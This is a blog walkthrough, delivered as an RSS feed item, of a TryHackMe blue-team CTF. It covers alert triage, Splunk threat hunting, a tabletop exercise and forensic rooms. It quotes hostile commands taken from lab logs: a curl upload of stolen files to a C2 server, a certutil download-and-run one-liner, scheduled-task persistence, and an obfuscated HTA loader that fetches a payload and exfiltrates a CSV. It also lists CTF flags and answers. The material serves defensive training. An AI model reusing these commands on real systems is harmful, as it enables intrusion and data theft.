<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Virtuvil on Medium]]></title>
        <description><![CDATA[Stories by Virtuvil on Medium]]></description>
        <link>https://medium.com/@virtuvil?source=rss-1febb35ca2e4------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*dMvEEIG2yfLx_cqAaD8O6Q.jpeg</url>
            <title>Stories by Virtuvil on Medium</title>
            <link>https://medium.com/@virtuvil?source=rss-1febb35ca2e4------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 10:25:04 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@virtuvil/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[TryHackMe “It’s Downtime!” CTF: How We Scored 1,950 / 1,950 XP Across All 8 Challenges]]></title>
            <link>https://virtuvil.medium.com/tryhackme-its-downtime-ctf-how-we-scored-1-950-1-950-xp-across-all-8-challenges-6c1d454a2626?source=rss-1febb35ca2e4------2</link>
            <guid isPermaLink="false">https://medium.com/p/6c1d454a2626</guid>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Virtuvil]]></dc:creator>
            <pubDate>Thu, 29 Oct 2026 08:31:15 GMT</pubDate>
            <atom:updated>2026-10-29T08:31:15.610Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2wwX_qmVFWlF34_zaXQ2Nw.png" /><figcaption>TryHackMe&#39;s It&#39;s Downtime! - a free, simulator-led blue team CTF (tryhackme.com/downtime).</figcaption></figure><p>We recently took part in TryHackMe’s <strong>It’s Downtime!</strong> blue team CTF (tryhackme.com/downtime) and cleared the entire board with a perfect <strong>1,950 / 1,950 XP</strong> across all <strong>8 / 8</strong> challenges (500 XP on the SOC Simulator, 500 XP on the Threat Hunting Simulator, 500 XP with a 150 / 150 scenario score on the Tabletop Exercise, and 450 / 450 XP across all 5 / 5 forensic and reversing rooms).</p><p>Instead of isolated puzzle boxes, the eight challenges trace a connected campaign against <strong>TryHatMe Studios</strong> right before the launch of their flagship game, <strong>NeuralNexus</strong>, orchestrated by a financially motivated threat group tracked as <strong>Pinstripe Moth</strong>, alongside related compromises across partner studios and endpoints.</p><p>Over the course of the event, you move from triaging raw alerts in a SOC queue to hunting a nine-stage intrusion in Splunk, making incident response calls on launch day, dissecting polyglot OneNote attachments, carving shellcode out of a 4.3 GB memory dump, hunting Zeek beacons in Kibana, and breaking a flawed time-seeded AES-256-GCM ransomware binary on a Linux disk image.</p><p>Here is my full walkthrough of how I approached and solved all eight challenges.</p><h3>01. Repossessed (SOC Simulator)</h3><p>The event opens inside <strong>TryDetectThis</strong>, TryHackMe’s SOC Simulator, paired with a live <strong>Splunk</strong> instance. A queue of alerts is firing across the studio’s workstations and servers, and the goal is to separate everyday sysadmin noise from a live intrusion before writing 5W escalation reports (Who, What, When, Where, Why) for the real attacks.</p><p>Rather than trusting the alert titles in the queue, I started every triage by pulling a five-minute window of Sysmon and PowerShell telemetry around the alert timestamp in Splunk:</p><pre>index=* host=&quot;&lt;alert_host&gt;&quot; earliest=&quot;&lt;alert_time - 2m&gt;&quot; latest=&quot;&lt;alert_time + 3m&gt;&quot;<br>| table _time EventCode Image CommandLine ParentImage User TargetFilename TargetObject DestinationIp DestinationPort<br>| sort _time</pre><p>That parent-process context immediately split the queue in two. Several medium-severity detections were triggered by signed administrative scripts and scheduled inventory jobs running out of expected management directories (C:\ProgramData\StudioOps\maintenance\) under IT accounts with no outbound network connections or child shell spawns. Those went straight into the <strong>False Positive</strong> bucket with notes documenting the parent service and routine schedule.</p><p>The remaining alerts told a very different story. Whenever Explorer.EXE, mshta.exe, or wsmprovhost.exe spawned hidden PowerShell sessions (-NoProfile, -WindowStyle Hidden, -ExecutionPolicy Bypass), or when an interactive user account copied scripts into %LOCALAPPDATA% and wrote HKCU\...\Run keys (Sysmon Event IDs 11 and 13) followed by outbound TLS connections on non-standard ports (Sysmon Event ID 3), I marked the alert <strong>True Positive</strong> and included the full process lineage, file hashes, and destination IPs in the escalation report.</p><h3>02. Quiet As The Grave (Threat Hunting Simulator)</h3><p>Once the initial alerts are triaged, the second challenge drops you into the <strong>Threat Hunting Simulator</strong> with a Cyber Threat Intelligence Brief (CSTIB-2026-0918) on <strong>Pinstripe Moth</strong> (G1092). According to the intel brief, Pinstripe Moth targets creative studios right before major releases, steals build and marketing assets for extortion, and relies heavily on living-off-the-land binaries, WinRM lateral movement, and over-privileged service accounts.</p><p>The hunt hypothesis we need to prove or disprove is straightforward: <em>Pinstripe Moth compromised a workstation in the studio, harvested an internal service account, moved laterally across the domain, and exfiltrated pre-release NeuralNexus files.</em></p><h3>Finding Patient Zero on THM-SREYES</h3><p>I opened Splunk and started by looking for suspicious script execution across the studio’s workstations on 2026-09-10:</p><pre>index=* (EventCode=1 OR EventCode=4104)<br>| search CommandLine=&quot;*ps1*&quot; OR ScriptBlockText=&quot;*https://*&quot;<br>| table _time host User Image ParentImage ProcessId CommandLine<br>| sort _time</pre><p>At <strong>2026-09-10 12:29:48 UTC</strong>, workstation <strong>THM-SREYES</strong> (10.60.10.20, logged in as Senior Concept Artist <strong>s.reyes@tryhatmestudios.thm</strong>) lit up. C:\Windows\Explorer.EXE (PID 3128) spawned PowerShell (PID 12412) with the following command:</p><pre>powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\Users\s.reyes\Downloads\NeuralNexusReview\review-helper.ps1</pre><p>Checking the corresponding PowerShell EventCode=4104 script block log (ScriptBlockId 536b2c25-933d-43b5-b371-de7df96f7b58) revealed the entire implant in plaintext. review-helper.ps1 sets up a loop that beacons every 150 seconds to <strong>https://45.147.230.131:8443</strong>, validates a pinned self-signed server certificate (55a5bf42c9e35fca805d28061ab65ef6206909dac051d7e7b7f3e9b897c1913e), sends an X-Correlation-ID header containing fd0d499479b4dcbbbfb2b90bf40b3b2862a189c1c96e8a62d75a30595fb64cbd, and passes any commands returned from /tasks directly to Invoke-Expression. Five seconds later (12:29:53 UTC), Sysmon Event ID 3 confirmed the outbound TLS connection from 10.60.10.20:54759 to 45.147.230.131:8443. That gave us our first attack chain entry under <strong>Execution / Command and Scripting Interpreter</strong>.</p><h3>Persistence and Credential Harvesting</h3><p>With C2 active, I filtered on host=&quot;THM-SREYES&quot; from 12:30:00 to 13:15:00 UTC to see what the operator ran first.</p><p>At <strong>12:37:20 UTC</strong>, the implant copied itself from Downloads into C:\Users\s.reyes\AppData\Local\NeuralNexus\review-helper.ps1 (Sysmon Event ID 11) and immediately wrote a user-level Run key at HKCU\Software\Microsoft\Windows\CurrentVersion\Run\NeuralNexusReview pointing to that AppData copy (Sysmon Event ID 13 at <strong>12:37:21 UTC</strong>). When the user logged back in at 12:44:04 UTC, explorer.exe automatically launched the persisted script as PID 5020. I logged this second stage under <strong>Persistence / Boot or Logon Autostart Execution</strong>.</p><p>Twenty minutes later, at <strong>13:01:41 UTC</strong>, PowerShell Event ID 4104 (ScriptBlockId 88ebf161-a647-4c27-aa08-9a47456506e2) caught the persisted process enumerating C:\StudioProjects\NeuralNexus\tools and reading <strong>C:\StudioProjects\NeuralNexus\tools\deploy-settings.json</strong>. Inside that JSON file sat plaintext credentials for <strong>TRYHATME\svc-studioops</strong>, a shared deployment service account. That became stage three: <strong>Credential Access / Unsecured Credentials</strong>.</p><h3>Pivoting Over WinRM: THM-LSULLIVAN, DC-01, and THM-MSMITH</h3><p>Now that the attacker had svc-studioops, I pivoted my Splunk query to track every logon, WinRM connection, and process creation tied to svc-studioops across the network:</p><pre>index=* (&quot;svc-studioops&quot; OR DestinationPort=5985 OR ParentImage=&quot;*wsmprovhost.exe&quot;)<br>| sort _time</pre><p>The lateral movement trail unfolded cleanly across three hosts:</p><ol><li><strong>First hop to </strong><strong>THM-LSULLIVAN (</strong><strong>13:16:42 UTC):</strong> From THM-SREYES (10.60.10.20), the attacker instantiated a PSCredential for TRYHATME\svc-studioops and opened a WinRM session (Port 5985) to <strong>THM-LSULLIVAN</strong> (10.60.10.21), spawning wsmprovhost.exe (PID 7040). On THM-LSULLIVAN, they read C:\ProgramData\StudioOps\endpoint-list.csv and maintenance-runbook.txt, which mapped out the internal host roles across the studio. I recorded this under <strong>Lateral Movement / Remote Services</strong>.</li><li><strong>Failed pivot to </strong><strong>DC-01 (</strong><strong>13:48:25 UTC – </strong><strong>14:03:36 UTC):</strong> Using THM-LSULLIVAN as a pivot host, the attacker tried New-PSSession -ComputerName DC-01 (10.60.10.10) at 13:48:25 UTC, which failed to grant a shell. At 14:03:25 UTC, they tried a second angle on DC-01: inspecting the InventorySvc service (C:\ProgramData\StudioOps\maintenance\inventory.ps1) and attempting to append a payload via Add-Content. PowerShell Event ID 4100 on DC-01 at 14:03:36 UTC logged Access to the path &#39;C:\ProgramData\StudioOps\maintenance\inventory.ps1&#39; is denied. Even though the attempt was blocked by file permissions, it belongs in the timeline as <strong>Lateral Movement / Remote Services</strong> on DC-01.</li><li><strong>Second hop to </strong><strong>THM-MSMITH (</strong><strong>15:03:36 UTC):</strong> After hitting a wall on DC-01, the attacker used THM-LSULLIVAN (10.60.10.21) to open a WinRM session to <strong>THM-MSMITH</strong> (10.60.10.22:5985, wsmprovhost.exe PID 5688) and listed C:\StudioMarketing\approved-release, where NeuralNexus-KeyArt-Final.png, Launch-Trailer-Cut-v4.mp4, and PressKit-Embargoed.pdf were stored. That gave us the sixth stage under <strong>Lateral Movement / Remote Services</strong> on THM-MSMITH.</li></ol><h3>Discovery, Staging, and C2 Exfiltration</h3><p>An hour later, at <strong>16:03:38 UTC</strong>, the WinRM host process on <strong>THM-MSMITH</strong> (wsmprovhost.exe PID 5688) spawned net.exe three times in quick succession (PIDs 9636, 2632, 4872) to run net user, net localgroup Administrators (triggering Security Event 4799), and net share. I added that as stage seven under <strong>Discovery / Permission Groups Discovery</strong>.</p><p>Finally, the attacker pulled everything back to patient zero (THM-SREYES) for exfiltration:</p><ul><li><strong>Collection / Data Staged (</strong><strong>16:27:01 UTC on </strong><strong>THM-SREYES):</strong> powershell.exe (PID 5020) created C:\Users\s.reyes\AppData\Local\Temp\review-staging\marketing and ...\project, pulled C:\StudioMarketing\approved-release\* across WinRM from THM-MSMITH, copied local files from C:\StudioProjects\NeuralNexus\release-notes, and ran Compress-Archive at 16:27:28 UTC to bundle everything into <strong>C:\Users\s.reyes\AppData\Local\Temp\review-cache.zip</strong>.</li><li><strong>Exfiltration / Exfiltration Over C2 Channel (</strong><strong>16:27:54 UTC on </strong><strong>THM-SREYES):</strong> Twenty-six seconds later, powershell.exe (PID 5020) spawned C:\Windows\System32\curl.exe (PID 7060) to upload the zip archive straight to the C2 server:</li></ul><pre>&quot;C:\Windows\System32\curl.exe&quot; --fail --show-error --insecure --upload-file C:\Users\s.reyes\AppData\Local\Temp\review-cache.zip https://45.147.230.131:8443/ingest/review-cache.zip</pre><p>Marking the hypothesis as <strong>Proven</strong> with those nine chronological stages completed the attack chain and generated the final Threat Case Report.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6RkZKfx2zW8BP61WprkDLQ.png" /><figcaption>All 9 stages of the Pinstripe Moth intrusion proven in the Threat Hunting Simulator.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-5BsyFQcs-UAK1AtTsGpag.png" /><figcaption>Submitting the final Threat Hunting report in 02. Quiet As The Grave (500 / 500 XP).</figcaption></figure><h3>03. Deadmen Tell No Logs (Tabletop Exercise)</h3><p>The third challenge moves from the day of the exfiltration (2026-09-10) to <strong>launch day</strong> (2026-09-11), seven hours before NeuralNexus is scheduled to go live at 17:00 UTC. Each of the three injects gives you five decision cards (Classification, Investigation, Containment, Remediation, and Communication) where picking a hasty option can either tip off the attacker or break the release pipeline.</p><h3>Inject 1: Blind Spot on BUILD-01 (09:42 UTC)</h3><p>Even though THM-SREYES was supposed to be contained after yesterday&#39;s hunt, svc-studioops was never rotated because the build team was worried about breaking launch-day jobs. At 09:42 UTC, svc-studioops authenticates over NTLM from THM-SREYES (10.60.10.20) to <strong>BUILD-01</strong> (10.60.10.30). Worse, a botched maintenance window left Sysmon unloaded on BUILD-01, so we only see three raw Windows Security events between 09:42 and 09:45 UTC.</p><p>Here is how I handled the five calls in Inject 1:</p><ol><li><strong>Classification:</strong> Declare a <strong>P1 (High)</strong> incident and pull in <strong>Dana Brooks</strong> (SOC Lead) and <strong>Jada Collins</strong> (Build / Release Engineer) (<strong>Option D</strong>). Calling it P2/P3 underplays active lateral movement into the build environment with stolen credentials, while calling a studio-wide P0 with Legal and PR is premature before verifying whether build artifacts or backups were touched.</li><li><strong>Investigation:</strong> Pull and triage the <strong>three unreviewed Windows Security events</strong> from 09:42–09:45 UTC on BUILD-01 (<strong>Option B</strong>). Since Sysmon is dead on BUILD-01, those native Security events are the only immediate record of what svc-studioops did after logging in.</li><li><strong>Containment:</strong> Work with Jada to <strong>rotate the </strong><strong>svc-studioops password in Jenkins and restrict the account to </strong><strong>CI-01</strong> (<strong>Option B</strong>). Simply blocking THM-SREYES leaves the compromised password valid from any other pivot host.</li><li><strong>Remediation:</strong> Before pushing the new svc-studioops password to BUILD-01 and CI-01, <strong>audit every scheduled task and deployment script running under </strong><strong>svc-studioops</strong> (<strong>Option E</strong>). If the attacker already backdoored a task running as svc-studioops, updating that task with the fresh password hands the new credential right back to them.</li><li><strong>Communication:</strong> Brief <strong>Dana and launch leadership</strong> on the build-host exposure, our log gap on BUILD-01, and the credential rotation plan (<strong>Option B</strong>).</li></ol><h3>Inject 2: Backup Tampering and Social Hijack</h3><p>Rotating svc-studioops cuts off the initial path, but a second wave hits: the attacker has already pivoted into the backup server (<strong>BAK-01</strong>) and hijacked the official <strong>NeuralNexus</strong> social media account to post a fake breach announcement.</p><ol><li><strong>Classification:</strong> Escalate immediately to a <strong>P0 (Critical)</strong> incident and assemble studio leadership, Dana, Jada, Luke (IT/Infra), Comms, and Legal (<strong>Option A</strong>). We now have simultaneous public brand damage and potential destruction of our recovery backups hours before launch.</li><li><strong>Investigation:</strong> Because Sysmon was offline on BUILD-01, query <strong>BUILD-01&#39;s native Windows Event Logs</strong> (4688 process creation, 4698 scheduled task creation, and 5156 Windows Filtering Platform connections) to see how the attacker pivoted from BUILD-01 to BAK-01 (<strong>Option B</strong>).</li><li><strong>Containment:</strong> Coordinate with Comms and the social platform to <strong>recover the official NeuralNexus account, take down the attacker’s post, and revoke active sessions/tokens</strong> (<strong>Option E</strong>).</li><li><strong>Remediation:</strong> Before trusting anything on BAK-01 to restore the build pipeline, <strong>validate all backup archives on </strong><strong>BAK-01 against known-good cryptographic checksums</strong> (<strong>Option D</strong>). Restoring an unverified backup risks deploying a trojanized game build.</li><li><strong>Communication:</strong> Escalate through Comms/Legal to the <strong>social media platform’s security team</strong> for emergency account recovery and session termination (<strong>Option C</strong>).</li></ol><h3>Inject 3: Stopping the Sabotage Before 11:37 UTC and 16:55 UTC</h3><p>Inspecting the native Windows event logs pays off. We uncover two time-bombed scheduled tasks created by the attacker:</p><ul><li>On <strong>BAK-01</strong>, a task named <strong>BackupMaintenance</strong> is set to execute purge-artifacts.ps1 at <strong>11:37 UTC</strong> to wipe the studio&#39;s remaining clean restore point.</li><li>On <strong>BUILD-01</strong>, a task named <strong>DeployPrep</strong> is set to trigger at <strong>16:55 UTC</strong> (five minutes before launch) to swap the signed release package with a tampered binary.</li></ul><p>With both timers ticking, the final five decisions lock down the environment:</p><ol><li><strong>Classification:</strong> Maintain <strong>P0 (Critical)</strong> status and bring <strong>studio leadership, Legal, Jada, Luke, and Comms</strong> into the launch readiness call (<strong>Option B</strong>).</li><li><strong>Investigation:</strong> Run a <strong>comprehensive Splunk sweep for every </strong><strong>svc-studioops logon, WinRM session, and scheduled task creation across all studio hosts</strong> (<strong>Option E</strong>) so no third persistence mechanism gets missed.</li><li><strong>Containment:</strong> Immediately <strong>disable </strong><strong>BackupMaintenance on </strong><strong>BAK-01 and remove/terminate </strong><strong>purge-artifacts.ps1 before </strong><strong>11:37 UTC</strong> (<strong>Option A</strong>) to save the last clean restore point, while disabling DeployPrep on BUILD-01.</li><li><strong>Remediation:</strong> Copy that <strong>last clean restore point to segregated offline storage and verify its hash</strong> while BAK-01 and BUILD-01 are rebuilt cleanly (<strong>Option B</strong>).</li><li><strong>Communication:</strong> Deliver a concise readiness briefing to the <strong>launch steering committee</strong> covering the neutralized 16:55 UTC binary swap, the verified offline backup, and the containment state so leadership can make an informed 17:00 UTC go/no-go decision (<strong>Option A</strong>).</li></ol><h3>04. Handbook For The Recently Compromised</h3><p>This room focuses on host telemetry from the workstation of Release Engineer <strong>Jada Collins</strong> (j.collins) after she opened a malicious file disguised as a build pipeline check. All five tasks revolve around tracing the execution chain from initial proxy execution down to an obfuscated PowerShell blob.</p><h3>Tracing the HTA and Wildcard Living-off-the-Land Execution</h3><p>Looking at the initial process creation event on Jada’s host, execution starts with:</p><pre>C:\Windows\System32\mshta.exe &quot;C:\Users\j.collins\Downloads\pipeline-check.hta&quot; {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}</pre><p>Abusing mshta.exe to execute an .hta application maps to MITRE ATT&amp;CK sub-technique <strong>T1218.005</strong> (<em>System Binary Proxy Execution: Mshta</em>).</p><p>Right after mshta.exe runs, it spawns a hidden PowerShell command designed to slip past naive string matching on certutil.exe:</p><pre>powershell.exe -nop -w hidden -c &quot;&amp; ((gci C:\Windows\System32\certu*.exe)[0].FullName) -urlcache -f http://pipeline-cdn.thm:8088/pipeline-sync.ps1 $env:TEMP\pipeline-sync.ps1; powershell -ep bypass -f $env:TEMP\pipeline-sync.ps1&quot;</pre><p>Instead of typing certutil.exe directly, the attacker uses (gci C:\Windows\System32\certu*.exe)[0].FullName to resolve <strong>certutil.exe</strong> dynamically at runtime, passing -urlcache -f to pull the second-stage script from <strong>http://pipeline-cdn.thm:8088/pipeline-sync.ps1</strong> into $env:TEMP\pipeline-sync.ps1.</p><h3>Scheduled Task Persistence and Decoding the Flag Blob</h3><p>Once pipeline-sync.ps1 executes, it copies itself into C:\Users\j.collins\AppData\Roaming\PipelineSync\pipeline-sync.ps1 and registers persistence at logon using schtasks.exe:</p><pre>schtasks.exe /create /tn StudioPipelineSync /tr &quot;powershell -nop -w hidden -f C:\Users\j.collins\AppData\Roaming\PipelineSync\pipeline-sync.ps1&quot; /sc onlogon /rl highest /f</pre><p>In MITRE ATT&amp;CK, persisting via schtasks.exe maps to sub-technique <strong>T1053.005</strong> (<em>Scheduled Task/Job: Scheduled Task</em>).</p><p>Inside the PowerShell script block telemetry, the script reassembles a fragmented Base64 string before decoding it:</p><pre>$blob = (&#39;VEhNe3R&#39;+&#39;IM19Ha&#39;+&#39;D&#39;+&#39;BzdF93MX&#39;+&#39;RIX1Ro&#39;+&#39;M19&#39;+&#39;NMDVU&#39;+&#39;fQ==&#39;)</pre><p>Concatenating those chunks and Base64-decoding them from the terminal gives the flag:</p><pre>$ echo -n &#39;VEhNe3RIM19HaDBzdF93MXRIX1RoM19NMDVUfQ==&#39; | base64 -d<br>THM{tH3_Gh0st_w1tH_Th3_M05T}</pre><p>That gives us <strong>THM{tH3_Gh0st_w1tH_Th3_M05T}</strong> and wraps up the room.</p><h3>05. The Waiting Room</h3><p>In <strong>The Waiting Room</strong>, we get SSH/GUI access to an analysis VM holding a folder of incident artifacts in ~/Desktop/artifacts/ after Finance analyst <strong>Michelle Smith</strong> (m.smith@westbrook.thm) fell for a spear-phishing email claiming to come from <strong>Luke Sullivan</strong> (accounts@meridian.thm).</p><p>Listing ~/Desktop/artifacts/ shows three main evidence sources: the phishing email (vendor.eml), a packet capture (incident.pcap), and exported Windows event logs (sysmon.evtx / host triage data).</p><h3>Carving the OneNote Attachment and Spotting the Unicode Spoof</h3><p>I started by inspecting vendor.eml. Attached to the email was a Microsoft OneNote document named Remittance.one. To see what was embedded inside Remittance.one, I carved out the embedded objects from the OneNote container:</p><pre>cd ~/Desktop/artifacts<br>python3 -c &#39;<br>data = open(&quot;Remittance.one&quot;, &quot;rb&quot;).read()<br>idx = data.find(b&quot;&lt;html&gt;&quot;)<br>end = data.find(b&quot;&lt;/html&gt;&quot;, idx) + 7<br>open(&quot;/tmp/extracted.hta&quot;, &quot;wb&quot;).write(data[idx:end])<br>&#39;<br>sha256sum /tmp/extracted.hta</pre><p>The extracted 1,866-byte HTML Application (/tmp/extracted.hta, also extractable via one-extract) hashed to <strong>e3e53f2e21df0b56eeb62d50146c4d69eb8cbc1bab5b8ba13f8ba5859870f6b3</strong>.</p><p>How did the attacker convince Michelle that an .hta file inside OneNote was a harmless PDF? Dumping the UTF-16LE filename strings around the embedded object metadata inside Remittance.one showed the classic Right-to-Left Override character (\u202e) inserted right before fdp.hta, flipping the displayed extension so it rendered visually as .pdf. In standard U+XXXX notation, that Unicode character is <strong>U+202E</strong>.</p><h3>Deobfuscating the HTA Loader (XOR + RC4)</h3><p>Opening /tmp/extracted.hta revealed an obfuscated JScript loader inside &lt;script language=&quot;JScript&quot;&gt;:</p><pre>var entries = [<br>  &quot;514d4d4903161649564b4d585517545c4b505d505857174d5154030109010916584a4a5c4d4a164b5c54504d4d58575a5c144f0b1749575e&quot;,<br>  ...<br>  &quot;0a5a0e58015a01010d0f0f5f0c5b010f005b5c58080c5f0a0a0a5c0a5b5c0908&quot;<br>];<br>function resolve(idx) {<br>  var raw = entries[idx], out = &quot;&quot;;<br>  for (var i = 0; i &lt; raw.length; i += 2) {<br>    out += String.fromCharCode(parseInt(raw.substr(i, 2), 16) ^ 57);<br>  }<br>  return out;<br>}<br>var cacheToken = resolve(9);</pre><p>Every string in entries[] is hex-encoded and XORed with 57 (0x39), and cacheToken = resolve(9) is passed as the RC4 key to decrypt the second stage! I wrote a quick one-liner to dump all the strings in entries[]:</p><pre>python3 -c &#39;<br>entries = [<br>  &quot;514d4d4903161649564b4d585517545c4b505d505857174d5154030109010916584a4a5c4d4a164b5c54504d4d58575a5c144f0b1749575e&quot;,<br>  &quot;0a5a0e58015a01010d0f0f5f0c5b010f005b5c58080c5f0a0a0a5c0a5b5c0908&quot;<br>]<br>for e in entries:<br>    print(bytes(int(e[i:i+2], 16) ^ 57 for i in range(0, len(e), 2)).decode())<br>&#39;</pre><p>That immediately printed both values:</p><ul><li>Staging URL (entries[0]): <a href="http://portal.meridian.thm:8080/assets/remittance-v2.png">http://portal.meridian.thm:8080/assets/remittance-v2.png</a></li><li>RC4 key (cacheToken, entries[9]): <strong>3c7a8c88466f5b869bea15f333e3be01</strong></li></ul><p>So the HTA reaches out to <strong>portal.meridian.thm</strong> (http://portal.meridian.thm:8080/assets/remittance-v2.png), RC4-decrypts the response using <strong>3c7a8c88466f5b869bea15f333e3be01</strong>, writes the decrypted script to C:\Users\m.smith\AppData\Local\Meridian\receipt.js, and executes it via cscript.exe //B //Nologo.</p><p>Checking the Sysmon Process Creation logs (Event ID 1) for cscript.exe confirmed that mshta.exe (PID 4780) spawned:</p><pre>&quot;C:\Windows\System32\cscript.exe&quot; //B //Nologo &quot;C:\Users\m.smith\AppData\Local\Meridian\receipt.js&quot;</pre><p>under Process ID <strong>1996</strong>.</p><h3>The Decoy CSV Trap and Recovering the Exfiltrated File from PCAP</h3><p>The last question asks for the SHA-256 hash of the exfiltrated file. There is a clever trap here: Remittance.one also contains a second embedded file, a 100-byte decoy CSV template named payment-register.csv (SHA-256: 8bb76a49...). If you hash that decoy file, TryHackMe rejects it.</p><p>To see what was <em>actually</em> exfiltrated, we have to reconstruct receipt.js by pulling the HTTP response for GET /assets/remittance-v2.png out of incident.pcap and RC4-decrypting it with 3c7a8c88466f5b869bea15f333e3be01:</p><pre>from scapy.all import rdpcap, TCP, Raw</pre><pre>def rc4(data, key):<br>    S = list(range(256))<br>    j = 0<br>    for i in range(256):<br>        j = (j + S[i] + key[i % len(key)]) % 256<br>        S[i], S[j] = S[j], S[i]<br>    i = j = 0<br>    out = bytearray()<br>    for b in data:<br>        i = (i + 1) % 256<br>        j = (j + S[i]) % 256<br>        S[i], S[j] = S[j], S[i]<br>        out.append(b ^ S[(S[i] + S[j]) % 256])<br>    return bytes(out)</pre><pre>key = b&quot;3c7a8c88466f5b869bea15f333e3be01&quot;<br>pkts = rdpcap(&quot;incident.pcap&quot;)<br>for p in pkts:<br>    if p.haslayer(Raw) and b&quot;HTTP/1.1 200 OK&quot; in p[Raw].load and b&quot;image/png&quot; in p[Raw].load:<br>        body = p[Raw].load.split(b&quot;\r\n\r\n&quot;, 1)[1]<br>        print(rc4(body, key).decode(errors=&quot;ignore&quot;))</pre><p>Running that script printed the decrypted receipt.js source code! Inside receipt.js, the script reads %USERPROFILE%\Documents\Finance\payment-register.csv, RC4-encrypts its contents with the same key (3c7a8c88466f5b869bea15f333e3be01), and sends it in an HTTP POST request to <a href="http://portal.meridian.thm:8080/api/receipt.">http://portal.meridian.thm:8080/api/receipt.</a></p><p>All I had to do was grab the body of the POST /api/receipt packet (Frame 465 in incident.pcap), RC4-decrypt those 331 bytes with 3c7a8c88466f5b869bea15f333e3be01, and hash the recovered plaintext CSV:</p><pre>import hashlib</pre><pre>for p in pkts:<br>    if p.haslayer(Raw) and b&quot;POST /api/receipt&quot; in p[Raw].load:<br>        enc_csv = p[Raw].load.split(b&quot;\r\n\r\n&quot;, 1)[1]<br>        dec_csv = rc4(enc_csv, key)<br>        print(dec_csv.decode())<br>        print(&quot;SHA-256:&quot;, hashlib.sha256(dec_csv).hexdigest())</pre><p>That printed the real multi-row finance register (INV-2026-0412, Meridian Supplies, Westbrook Logistics, etc.) and its SHA-256 hash: <strong>c19c4964c2a77872c49750cc1c2dd443b48fba984b41988aec6fbc780faed09a</strong>.</p><h3>06. Day-O</h3><p>In <strong>Day-O</strong>, we are handed a 4.36 GB Windows memory image (~/Desktop/artifacts/memory.mem) from s.reyes&#39;s workstation along with an offline Volatility 3 environment (~/Desktop/artifacts/tools/venv/bin/vol) and pre-cached symbol tables (~/Desktop/artifacts/symbols).</p><h3>Hunting Injected Memory with windows.malfind</h3><p>To find where code injection occurred without wasting time on normal system processes, I ran windows.malfind using the local symbol cache:</p><pre>/home/ubuntu/Desktop/artifacts/tools/venv/bin/vol --offline \<br>  -s /home/ubuntu/Desktop/artifacts/symbols \<br>  -f /home/ubuntu/Desktop/artifacts/memory.mem \<br>  windows.malfind</pre><p>malfind immediately highlighted a non-standard process named <strong>ReviewClient.exe</strong> (PID 6260) with a private memory region marked PAGE_EXECUTE_READWRITE starting at virtual address <strong>0x8e0000</strong> (End VPN: 0x8effff) containing executable instructions (cld; and rsp, 0xfffffffffffffff0; call ...).</p><h3>Dumping Process File Handles and Identifying the Polyglot PNG</h3><p>To see what files ReviewClient.exe (PID 6260) was interacting with when the memory dump was captured, I listed its open file handles:</p><pre>/home/ubuntu/Desktop/artifacts/tools/venv/bin/vol --offline \<br>  -s /home/ubuntu/Desktop/artifacts/symbols \<br>  -f /home/ubuntu/Desktop/artifacts/memory.mem \<br>  windows.handles --pid 6260 | grep File</pre><p>Right at the top of its open File handles were two files in the user&#39;s Downloads\DocumentReview\ directory:</p><ul><li>\Device\HarddiskVolume1\Users\s.reyes\Downloads\DocumentReview\review-cover.png</li><li>\Device\HarddiskVolume1\Users\s.reyes\Downloads\DocumentReview\review-cache.dat</li></ul><p>I dumped PID 6260&#39;s cached files into /tmp/dump using windows.dumpfiles:</p><pre>mkdir -p /tmp/dump<br>/home/ubuntu/Desktop/artifacts/tools/venv/bin/vol --offline \<br>  -s /home/ubuntu/Desktop/artifacts/symbols \<br>  -f /home/ubuntu/Desktop/artifacts/memory.mem \<br>  -o /tmp/dump windows.dumpfiles --pid 6260</pre><p>Inspecting the dumped <strong>review-cover.png</strong> (3,939 bytes) alongside the injected VAD at 0x8e0000 revealed that review-cover.png wasn&#39;t just a normal cover image: the shellcode loaded into 0x8e0000 was embedded directly inside <strong>review-cover.png</strong>. Hiding a shellcode payload inside an image file maps to MITRE ATT&amp;CK sub-technique <strong>T1027.009</strong> (<em>Obfuscated Files or Information: Embedded Payloads</em>).</p><h3>Emulating the Shellcode and Decrypting review-cache.dat</h3><p>Next, I needed to see which Windows API the injected shellcode at 0x8e0000 called and how it interacted with review-cache.dat. The VM included Mandiant&#39;s speakeasy emulator inside ~/Desktop/artifacts/tools/emulation/, so I ran the dumped 0x8e0000 VAD region (pid.6260.vad.0x8e0000-0x8effff.dmp) through Speakeasy (and cross-checked the disassembly with objdump):</p><pre>/home/ubuntu/Desktop/artifacts/tools/emulation/venv/bin/speakeasy \<br>  -t /tmp/dump/pid.6260.vad.0x8e0000-0x8effff.dmp -r -a x64</pre><p>The shellcode walks the PEB export table to resolve <strong>kernel32.WinExec</strong> (WinExec) and passes it a hidden PowerShell command line:</p><pre>powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand 